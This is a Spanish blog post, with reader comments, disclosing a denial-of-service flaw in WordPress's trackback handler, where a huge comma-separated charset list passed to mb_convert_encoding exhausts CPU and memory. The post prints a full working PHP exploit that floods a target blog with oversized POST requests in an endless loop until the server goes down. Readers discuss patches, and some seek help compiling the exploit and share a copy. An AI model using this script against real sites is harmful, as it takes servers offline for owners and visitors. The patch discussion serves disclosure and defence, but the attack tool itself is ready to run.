Cada vez mas y mas gente entiende y conoce los típicos errores de seguridad que se cometen al programar páginas web dinámicas, incluso existen esfuerzos y proyectos por catalogar este tipo de errores, como si de una enciclopedia de seguridad se tratase.
Sin embargo, este es un enfoque poco realista del problema, la seguridad informática no trata acerca de aplicar ciertos patrones para intentar encontrar errores, no trata sobre lo que debes y lo que no debes hacer. Trata exclusivamente de buscarle la vuelta a todo, de preguntarse si aquello que ves, es solo como lo ves, o puede mirarse desde otro punto de vista. A menudo la seguridad informática trata sobre preguntarse si el código que vemos hace sólo lo que dice que hace, o puede hacer algo mas.
Pese a que esta entrada trata sobre un agujero de seguridad que he encontrado en wordpress, y que afecta a todas las versiones, incluida la última, he querido empezar aclarando todo esto, para poder explicar por que todavía no existe parche para el bug, o por que wordpress no se toma en serio estos problemas.
Hace 6 días, descargué el código de wordpress de la página oficial, lo agregue como proyecto a mi IDE, y empecé a leer el código, al cabo de poco rato, abrí el fichero wp-trackbacks.php, y me di cuenta de que existía un error muy grave en el, tanto que permitiría a un usuario cualquiera de internet, dejar completamente caído cualquier servidor que aloje wordpress, en tan solo 5 minutos y con unas 20 y pico peticiones únicamente. El error consiste en realizar una petición que a wordpress le resulte tan compleja de procesar, que invierta muchísima memoria y CPU en ella, tanta que cuando le llegue la siguiente petición, y la siguiente y la siguiente, llegue un momento que se colapse, y no sea capaz de atender nada mas. Esto acaba provocando que el servidor completo deje de responder, y el resto de visitantes, no puedan ver la páginas.
Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.
Podríamos decir que cualquier chico en internet, podría tener el blog mas grande de toda la red, con 2 clicks, hacer que deje de funcionar indefinidamente.
Sin embargo, tras comunicar el error a security@wordpress.org, no obtuve respuesta. Al cabo de 3 o 4 días sin respuesta, reenvié el correo a m@wordpress.org (el creador de wordpress) y al cabo de 2 días mas, me contestaron diciéndome que lo arreglarían, aunque no iban a utilizar el arreglo que yo había sugerido si no otro, y que no sabían muy bien cuando lo arreglarían, vaya, como si todo esto fuese una tontería y no importase que millones de wordpress puedan ser tirados por cualquiera haciendo 3 clicks. Y no solo el wordpress, sino el servidor entero que lo hospeda.
Tras esto, empecé a estar molesto, me di cuenta de que si esto fuese un SQL Injection de libro, ya habría parche, pero que para ellos esto es un bug de segunda. Sin embargo lo gracioso es que la solución alternativa que ellos me han propuesto en el correo, es incorrecta, y wordpress seguiría siendo vulnerable incluso después de actualizar (sea cuando sea que pongan disponible la actualización).
Por ello, en este post, aparte de explicar el bug ,y dar un código de ejemplo para explotarlo, voy a explicar su solución, y luego la mía, y por que la suya es incorrecta.
El problema está, como ya he dicho en wp-trackbacks.php, donde hay el siguiente código:
if ( function_exists(‘mb_convert_encoding’) ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option(‘blog_charset’), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option(‘blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(‘blog_charset’), $charset);
}
Y $charset viene a través de $_POST['charset'], igual que el resto, todas vienen de $_POST, enviadas por el usuario, y no existe ningún tipo de control de longitud sobre ellas. El problema reside en mb_convert_encoding, que es una función que convierte una cadena de texto de un charset dado, a otro, no solo acepta convertir del charset X al charset Y, sino que permite especificar una lista de charset separados por coma, en el charset de origen, y si recibe una lista, probará hasta encontrar el charset correcto, ejemplo:
$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);
Esa línea convertiría la variable $text a UTF-8 probando primero si está inicialmente en UTF-7 o en ISO-8859-1.Sin embargo, algo curioso de mb_convert_encoding, es que si ejecutamos algo así:
$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);
mb_convert_encoding intentará detectar el charset de $text, y primero comprobará si es ISO-8859-1, luego volverá a comprobarlo, y luego otra vez, y otra mas. Y tantas, como veces lo pongamos en la lista. Esto no sería un problema si no fuese por que el mecanismo para determinar el charset de una cadena unicode (multibyte) es realmente costoso para el sistema.
Por lo que si en $charset (mediante $_POST) le enviamos una cadena con 350k de UTF-8 separados por comas, y en $title por ejemplo, le enviamos una cadena de 350k de largo, hará comprobaciones sobre 350k^2 caracteres, lo cual requiere realmente mucho tiempo (minutos). Minutos durante los cuales el servidores está casi casi saturado, y eso sumado a que podemos repetir la petición X veces, hasta que tiene que hacer 350k^2*X, lo cual le acaba resultando casi imposible, o muy largo, y el resto de servicios y las peticiones legítimas a la web dejan de funcionar, por que no quedan recursos.
El código del exploit está hecho php, y se ejecuta desde el terminal así: php exploit.php http://urldelblog.com, y es el que sigue:
<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2) {
echo “The url should have http:// in front of it, and should be complete.\n”;
exit;
}if(count($data) == 2) {
$path = ”;
} else {
$path = $data['path'];
}
$path = trim($path,’/');
$path .= ‘/wp-trackback.php’;
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}$b = “”;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com’;
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol’;
$str .= ‘&excerpt=lol’;$count = 0;
while(1) {
$fp = @fsockopen($data['host'],80);
if(!$fp) {
if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);echo “hit!\n”;
$count++;
}?>
Para solucionar el problema y no ser vulnerables, es tan fácil como editar wp-trackbacks.php y poner un control sobre $_POST['charset']. Wordpress me ha sugerido que lo que harán será controlar que no tenga comas, sin embargo, eso es insuficiente, ya que mb_convert_encoding acepta arrays como argumento, en lugar de listas separadas por comas, y se pueden pasar arrays mediante $_POST usando [] en las variables. La solución pasar por eliminar cualquier coma de $_POST['charset'] y comprobar que no sea un array, con !is_array.
Dicho de otra forma, abrir wp-trackbacks.php, buscar la línea:
$charset = $_POST['charset'];
Y cambiarla por:
$charset = str_replace(“,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }
Y se soluciona el problema.
Como decía al principio del post, entiendo que en wordpress no se han tomado esto muy en serio, como anteriores problemas que encontré, por lo que he decidido que es mejor hacerlo público y que la gente lo solucione, que esperar a ver cuanta gente mas ha encontrado ya este error, y no lo está aprovechando, ya que a wordpress parece no importarle demasiado. No se si me estoy equivocando o no, pero me siento impotente de no poder hacer nada para que este error sea corregido ya, y solo puedo hacer dos cosas, o callármelo, y desear que nadie mas encuentre el error, o divulgarlo, junto a su solución y que esto se arregle.
Actualización: he revisado wp-trackbacks.php y desactivar los trackbacks no soluciona nada, ya que esto sucede ANTES de esa comprobación, la única solución es la que se explica en el post, modificar esa línea de wp-trackbacks.php.
jcarlosn, no digo que no pueda trabajar con arrays, sólo digo que si le pasas un string, te devolverá un string. Sólo si pasas un array devolverá un array. Por lo que el fix que está propuesto en el post no serviría. Además, str_replace reemplaza caracteres, lo que tu buscas es algo que separe cadenas en ciertos caracteres (explode).
Emilio, lo que yo busco es algo que reemplaze carácteres en cadenas de caracteres, y que si hay un array, se detenga.
Da igual que hagas:
$charset = str_replace(”,”,””,$_POST['charset']);
if(is_array($charset)) { exit; }
o bien:
if(is_array($charset)) { exit; }
charset = str_replace(”,”,””,$_POST['charset']);
El caso es que se traduca a: si $charset es un array, finaliza el proceso, si no, quítale las comas.
No se que te montas con explode.
Un saludo!
Veo que sigues sin entender, lo que pasa es que $charset nunca será un array si no haces explode en las comas
$_POST['charset'] es siempre un string, mande yo “UTF-8″ o “UTF-8,UTF-8,…,UTF-8,UTF-8″ por POST. Entiendes? Al hacer explode por las comas, puedes detectar el segundo caso. Si haces str_replace obtendrías un “super charset” que sería algo como “UTF-8UTF-8UTF-8UTF-8UTF-8UTF-8…UTF-8UTF-8UTF-8″, y no sería array tampoco, por lo que ese super charset sería lo que luego se le pase a la función de conversión de charsets.
Emilio, veo que sigues sin entender
El problema reside en que $_POST['charset'] será un array si el usuario pasa variables tal como: charset[] = ‘utf-8′.
En serio, creo que deberías documentarte mas sobre como funciona php, por ejemplo, si tu haces una consulta tipo:
script.php?var[]=lol vía get, $_GET['var'] será un array con una casilla, y dentro, tendrá lol.
¿En serio no sabías que se pueden pasar arrays vía $_POST y $_GET?
Increíble.
jcarlosn, mira tu “exploit” de nuevo. No pasas charset[]=UTF-8&charset[]=UTF-8&….&charset[]=UTF-8, sino que charset=UTF-8,UTF-8,…UTF-8, lo que siempre será un string.
Lo único que se me ocurre es que tu lo hagas como ejercicio para el lector, porque tu te estás contradiciendo, chequeas por un array en el fix, y en el exploit mandas strings, por lo que el fix no arreglaría nada ya que no detectaría nada malo
Un saludo!
PD: Si, se que puedes pasar arrays, yo decía que $_POST['charset'] es siempre un string para las peticiones de tu exploit tanto como para las normales, por lo que el fix, como dije, no arregla nada
y que pasa si decido simplemente eliminar wp-trackback? afectaría de algun modo al fucionamiento del blog?
A ver querido Emilio, miratelo bien
1. en mi arreglo lo que hago es comprobar dos cosas, que no sea un array, y que no contenga comas.
2. mb_convert_encoding acepta tanto arrays como cadenas separadas por comas.
¿Lo entiendes ahora?
No se trata de mi exploit, se trata de que cualquiera puede modificar el exploit y pasar arrays en lugar de comas, ergo, el fix debe solucionar ambas situaciones, tal como hago, primero con el str_replace, para las comas, y luego con el is_array para el array.
2 posibles ataques, 2 chequeos: mas claro, el agua.
Ahora que dices 2 errores, 2 chequeos, pues ahora si me cierra
yo pensaba que sólo querías evitar las comas
Disculpa por no haber entendido
Aunque, podrías haberlo hecho aún más corto:
if(is_array($charset) || strpos($charset,’,')!==false) { exit; }
y te ahorras el str_replace
repito “y que pasa si decido simplemente eliminar wp-trackback? afectaría de algun modo al fucionamiento del blog?” solucionaria algo? xd
saludos
Por lo que leí la última versión ya tiene el bug solucionado
yo he sufrido continuas caidas de mi servidor y al leer esto crei que a ver encontrado la solucion al problema, en principio edite el fichero luego actualize a la última versión 2.8.5 pero no se soluciono, opte por borrar el archivo en cuestion y de momento se mantiene estable la cosa, por eso la duda.
Saludos
Definitivamente es una solución más elegante y menos costosa la que propone emilio.
if(is_array($charset) || strpos($charset,’,’)!==false) { exit; }
En la explicación posterior…
Da igual que hagas:
$charset = str_replace(”,”,””,$_POST['charset']);
if(is_array($charset)) { exit; }
o bien:
if(is_array($charset)) { exit; }
charset = str_replace(”,”,””,$_POST['charset']);
No es cierto que “da igual”, la ejecución de str_replace con grandes cantidades de información será costosa y la comprobación de que si es un arreglo debe ser antes que el str_replace.
El uso de strpos en lugar de str_replace se me hace mucho más atinado. No se trata de sanear la entrada (en ese caso se debería hacer una validación de detecciones repetidas y demás). Se trata de detectar un uso inapropiado de la variable (pues siempre se espera que $_POST['charset'] cumpla con ambas condiciones: no arreglo, no comas).
Me parece muy irresponsable que publiques el exploit para que cualquier persona con nada mejor que hacer se ponga a probarlo en cualquier server.
Me parece que no es la manera, y que tendrias que comprender que un proyecto de la embergadura de WP deber recibir cientos de estos reportes por dia, y es logico que no puedan dar respuesta inmediata a todos.
Me parece un poco narcisista de tu parte proceder de esta manera, y que va en contra de la filosofia open source.
Saludos, y gracias igual por tomarte el trabajo, detectar y tratar de corregir este tipo de errores, por mas que no concuerde con la forma en la que procediste.
Saludos,
gabriel
Claro que lo deja KO, rematadamente KO, y además afecta al servidor. Así ha sucedido con el mío, tras actualizar a la última versión de Wordpress. Al día siguiente estaba hackeado y los del host tuvieron que cambiarme de servidor. Esta fue la respuesta del servicio técnico:
>>>>Hola, buenas tardes.
Tal y como indica, su alojamiento web ha sido hackeado y se han subido un programa web potencialmente peligroso para el funcionamiento del servidor, por lo que hemos suspendido su alojamiento web temporalmente. La administración de los alojamientos web y la integridad del mismo es responsabilidad del cliente.
Para solventar la incidencia se deberá de eliminar el alojamiento web y crear uno nuevo, ya que desde el momento que hubo la intrusión, el alojamiento web y servidor están comprometidos. Esto implicara que deberá de volver a volcar sus archivos al FTP y configurar de nuevo sus cuentas de correo electrónico.
Si lo desea, le podemos facilitar el actual contenido del FTP por si quiere recuperar datos, volcándoselo en una carpeta del nuevo alojamiento web.
Rogamos que nos indique si desea que le facilitemos este backup del FTP para proceder con el eliminado y creación de nuevo.
Quedamos a su disposición para cualquier información al respecto.
Atentamente,<<<<
Parse error: syntax error, unexpected ‘:’, expecting ‘,’ or ‘;’ in C:\Documents and Settings\Root_1\bamcompile1.21\exploit.php on line 7
Este es el error que me tira al compilar el exploit, por cierto lo hago con -Bamcompile 1.21. ¿Alguna idea de lo que puede pasar?
Copien el código desde aqui–>http://pastebin.com/f5bdff8f y no les dará el error del típico copy paste, de esta forma podrán compilarlo sin errores.
gracias por el pastebin